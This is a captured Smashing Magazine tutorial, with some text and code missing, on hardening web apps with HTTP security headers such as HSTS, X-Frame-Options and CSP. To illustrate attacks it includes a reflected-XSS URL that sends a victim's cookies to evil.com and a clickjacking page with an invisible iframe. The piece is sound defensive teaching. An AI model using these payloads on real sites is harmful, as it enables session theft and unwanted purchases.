How To Secure Your Web App With HTTP Headers - Smashing Magazine
How To Secure Your Web App With HTTP Headers - Smashing Magazine
Hagay has been busy building software for the past 15 years, and still enjoys
every bit of it (literally)! He engineered and shipped products across various
…
https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/ 1/14
5/22/2020 How To Secure Your Web App With HTTP Headers — Smashing Magazine
Getting Ready For HTTP2: A Guide For Web Designers And Developers (↦
https://www.smashingmagazine.com/2016/02/getting-ready-for-http2/)
Plain-text HTTP response headers can be examined easily using cURL, with the –head
option, like so:
https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/ 2/14
5/22/2020 How To Secure Your Web App With HTTP Headers — Smashing Magazine
Today, hundreds of headers are used by web apps, some standardized by the Internet
Engineering Task Force (↦ https://www.ietf.org/) (IETF), the open organization that is behind
many of the standards that power the web as we know it today, and some proprietary.
HTTP headers provide a flexible and extensible mechanism that enables the rich and
varying use cases found on the web today.
The IETF’s RFC 7234 (↦ https://tools.ietf.org/html/rfc7234), which defines HTTP caching, specifies
the default behavior of HTTP clients, both browsers and intermediary Internet proxies, to
always cache responses to HTTP GET requests — unless specified otherwise. While this
enables HTTP to boost performance and reduce network congestion, it could also expose
end users to theft of personal information, as mentioned above. The good news is that the
HTTP specification also defines a pretty simple way to instruct clients not to cache a given
response, through the use of — you guessed it! — HTTP response headers.
https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/ 3/14
5/22/2020 How To Secure Your Web App With HTTP Headers — Smashing Magazine
There are three headers to return when you are returning sensitive information and would
like to disable caching by HTTP clients:
Cache-Control This response header, introduced in HTTP 1.1, may contain one or more
directives, each carrying a specific caching semantic, and instructing HTTP clients
and proxies on how to treat the response being annotated by the header. My
recommendation is to format the header as follows:
cache-control: no-cache, no-store, must-revalidate . These three directives pretty
much instruct clients and intermediary proxies not to use a previously cached
response, not to store the response, and that even if the response is somehow cached,
the cache must be revalidated on the origin server.
Pragma: no-cache For backwards-compatibility with HTTP 1.0, you will want to
include this header as well. Some HTTP clients, especially intermediary proxies, still
might not fully support HTTP 1.1 and so will not correctly handle the Cache-Control
header mentioned above. Use Pragma: no-cache to ensure that these older clients do
not cache your response.
Expires: -1 This header specifies a timestamp after which the response is considered
stale. By specifying -1 , instead of an actual future time, you ensure that clients
immediately treat this response as stale and avoid caching.
Note that, while disabling caching enhances the security of your web app and helps to
protect confidential information, is does come at the price of a performance hit. Make sure
to disable caching only for resources that actually require confidentiality and not just for
any response rendered by your server! For a deeper dive into best practices for caching web
resources, I highly recommend reading Jake Archibald’s post (↦
https://jakearchibald.com/2016/caching-best-practices/) on the subject.
https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/ 4/14
5/22/2020 How To Secure Your Web App With HTTP Headers — Smashing Magazine
Enforcing HTTPS
Today, the importance of HTTPS is widely recognized by the tech community. More and
more web apps configure secured endpoints and are redirecting unsecure traffic to
secured endpoints (i.e. HTTP to HTTPS redirects). Unfortunately, end users have yet to
fully comprehend the importance of HTTPS, and this lack of comprehension exposes them
to various man-in-the-middle (MitM) attacks. The typical user navigates to a web app
without paying much attention to the protocol being used, be it secure (HTTPS) or
unsecure (HTTP). Moreover, many users will just click past browser warnings when their
browser presents a certificate error or warning!
The importance of interacting with web apps over a valid HTTPS connection cannot be
overstated: An unsecure connection exposes the user to various attacks, which could lead
to cookie theft or worse. As an example, it is not very difficult for an attacker to spoof
network frames within a public Wi-Fi network and to extract the session cookies of users
who are not using HTTPS. To make things even worse, even users interacting with a web
app over a secured connection may be exposed to downgrade attacks, which try to force
the connection to be downgraded to an unsecure connection, thus exposing the user to
MitM attacks.
How can we help users avoid these attacks and better enforce the usage of HTTPS? Enter
the HTTP Strict Transport Security (HSTS) header. Put simply, HSTS makes sure all
communications with the origin host are using HTTPS. Specified in RFC 6797 (↦
https://tools.ietf.org/html/rfc6797), HSTS enables a web app to instruct browsers to allow only
HTTPS connections to the origin host, to internally redirect all unsecure traffic to secured
connections, and to automatically upgrade all unsecure resource requests to be secure.
max-age=<number of seconds> This instructs the browser to cache this header, for this
domain, for the specified number of seconds. This can ensure tightened security for a
long duration!
includeSubDomains This instructs the browser to apply HSTS for all subdomains of the
current domain. This can be useful to cover all current and future subdomains you
https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/ 5/14
5/22/2020 How To Secure Your Web App With HTTP Headers — Smashing Magazine
may have.
preload This is a powerful directive that forces browsers to always load your web app
securely, even on the first hit, before the response is even received! This works by
hardcoding a list of HSTS preload-enabled domains into the browser’s code. To enable
the preloading feature, you need to register your domain with HSTS Preload List
Submission (↦ https://hstspreload.org), a website maintained by Google’s Chrome team.
Once registered, the domain will be prebuilt into supporting browsers to always
enforce HSTS. The preload directive within the HTTP response header is used to
confirm registration, indicating that the web app and domain owner are indeed
interested in being on the preload list.
A word of caution: using the preload directive also means it cannot be easily undone,
and carries an update lead time of months! While preload certainly improves your app’s
security, it also means you need to be fully confident your app can support HTTPS-only!
My recommendation is to use
Strict-Transport-Security: max-age=31536000; includeSubDomains; which instructs the
browser to enforce a valid HTTPS connection to the origin host and to all subdomains for a
year. If you are confident that your app can handle HTTPS-only, I would also recommend
adding the preload directive, in which case don’t forget to register your website on the
preload list as well, as noted above!
https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/ 6/14
5/22/2020 How To Secure Your Web App With HTTP Headers — Smashing Magazine
and executed by the browser rendering the response, enabling the malicious code to
operate within a trusted context, accessing potentially confidential information such as
session cookies. Unfortunately, XSS is a pretty common web app attack, and a surprisingly
effective one!
To understand a reflected XSS attack, consider the Node.js code below, rendering
mywebapp.com, a mock and intentionally simple web app that renders search results
alongside the search term requested by the user:
Now, consider how will the web app above handle a URL constructed with malicious
executable code embedded within the URL, such as this:
https://mywebapp.com/search?</p><script>window.location=“http://evil.com?cookie=”+document.coo
As you may realize, this URL will make the browser run the injected script and send the
user’s cookies, potentially including confidential session cookies, to evil.com!
https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/ 7/14
5/22/2020 How To Secure Your Web App With HTTP Headers — Smashing Magazine
To help protect users against reflective XSS attacks, some browsers have implemented
protection mechanisms. These mechanisms try to identify these attacks by looking for
matching code patterns in the HTTP request and response. Internet Explorer was the first
browser to introduce such a mechanism with its XSS filter, introduced in Internet Explorer
8 back in 2008, and WebKit later introduced XSS Auditor, available today in Chrome and
Safari. (Firefox has no similar mechanism built in, but users can use add-ons to gain this
functionality.) These various protection mechanisms are not perfect: They may fail to
detect a real XSS attack (a false negative), and in other cases may block legitimate code (a
false positive). Due to the latter, browsers allow users to disable the XSS filter via the
settings. Unfortunately, this is typically a global setting, which turns off this security
feature completely for all web apps loaded by the browser.
Luckily, there is a way for a web app to override this configuration and ensure that the XSS
filter is turned on for the web app being loaded by the browser. This is done via the
X-XSS-Protection header. This header, supported by Internet Explorer (from version 8),
Edge, Chrome and Safari, instructs the browser to turn on or off the browser’s built-in
protection mechanism and to override the browser’s local configuration.
mode=block This instructs the browser to prevent the entire page from rendering
when an XSS attack is detected.
I recommend always turning on the XSS filter, as well as block mode, to maximize user
protection. Such a response header looks like this:
X-XSS-Protection: 1; mode=block
https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/ 8/14
5/22/2020 How To Secure Your Web App With HTTP Headers — Smashing Magazine
Controlling Framing
An iframe (or HTML inline frame element, if you want to be more formal) is a DOM
element that allows a web app to be nested within a parent web app. This powerful
element enables some important web use cases, such as embedding third-party content
into web apps, but it also has significant drawbacks, such as not being SEO-friendly and
not playing nice with browser navigation — the list goes on.
One of the caveats of iframes is that it makes clickjacking easier. Clickjacking is an attack
that tricks the user into clicking something different than what they think they’re clicking.
To understand a simple implementation of clickjacking, consider the HTML markup
below, which tries to trick the user into buying a toaster when they think they are clicking
to win a prize!
<html>
<body>
<button class='some-class'>Win a Prize!</button>
<iframe class='some-class' style='opacity: 0;’ src='http://buy.com?buy=toaster'></iframe>
</body>
</html>
Clickjacking has many malicious applications, such as tricking the user into confirming a
Facebook like, purchasing an item online and even submitting confidential information.
Malicious web apps can leverage iframes for clickjacking by embedding a legitimate web
app inside their malicious web app, rendering the iframe invisible with the opacity: 0
CSS rule, and placing the iframe’s click target directly on top of an innocent-looking button
rendered by the malicious web app. A user who clicks the innocent-looking button will
trigger a click on the embedded web app — without at all knowing the effect of their click.
https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/ 9/14
5/22/2020 How To Secure Your Web App With HTTP Headers — Smashing Magazine
An effective way to block this attack is by restricting your web app from being framed.
X-Frame-Options , specified in RFC 7034 (↦ https://www.ietf.org/rfc/rfc7034.txt), is designed to do
exactly that! This header instructs the browser to apply limitations on whether your web
app can be embedded within another web page, thus blocking a malicious web page from
tricking users into invoking various transactions on your web app. You can either block
framing completely using the DENY directive, whitelist specific domains using the
ALLOW-FROM directive, or whitelist only the web app’s origin using the SAMEORIGIN directive.
X-Frame-Options: SAMEORIGIN
Here’s an example of a configuration of this header to enable framing on the same origin
in Node.js:
Another layer of in-depth protection against XSS and other attacks can be achieved by
explicitly whitelisting trusted sources and operations — which is what Content Security
Policy (CSP) enables web app developers to do.
https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/ 10/14
5/22/2020 How To Secure Your Web App With HTTP Headers — Smashing Magazine
This explicit whitelisting of resource loading and execution provides in-depth security
that in many cases will fend off attacks. For example, by using CSP to disallow inline
scripts, you can fend off many of the reflective XSS attack variants that rely on injecting
inline scripts into the DOM.
CSP is a relatively complex header, with a lot of directives, and I won’t go into the details of
the various directives. HTML5 Rocks has a great tutorial (↦
https://www.html5rocks.com/en/tutorials/security/content-security-policy/) that provides an overview of
CSP, and I highly recommend reading it and learning how to use CSP in your web app.
Here’s a simple example of a CSP configuration to allow script-loading from the app’s
origin only and to block dynamic script execution ( eval ) and inline scripts (as usual, on
Node.js):
https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/ 11/14
5/22/2020 How To Secure Your Web App With HTTP Headers — Smashing Magazine
Content-Type response header. While this feature is indeed useful in some cases, it
introduces a vulnerability and an attack vector known as a MIME confusion attack. A
MIME-sniffing vulnerability enables an attacker to inject a malicious resource, such as a
malicious executable script, masquerading as an innocent resource, such as an image.
With MIME sniffing, the browser will ignore the declared image content type, and instead
of rendering an image will execute the malicious script.
Summary
In this article, we have seen how to leverage HTTP headers to reinforce the security of
your web app, to fend off attacks and to mitigate vulnerabilities.
TAKEAWAYS
https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/ 12/14
5/22/2020 How To Secure Your Web App With HTTP Headers — Smashing Magazine
Enforce HTTPS using the Strict-Transport-Security header, and add your domain to
Chrome’s preload list.
Make your web app more robust against XSS by leveraging the X-XSS-Protection
header.
Remember that for the web to be truly awesome and engaging, it has to be secure.
Leverage HTTP headers to build a more secure web!
(Disclaimer: The content of this post is my own and doesn’t represent my past or current
employers in any way whatsoever.)
https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/ 13/14
5/22/2020 How To Secure Your Web App With HTTP Headers — Smashing Magazine
https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/ 14/14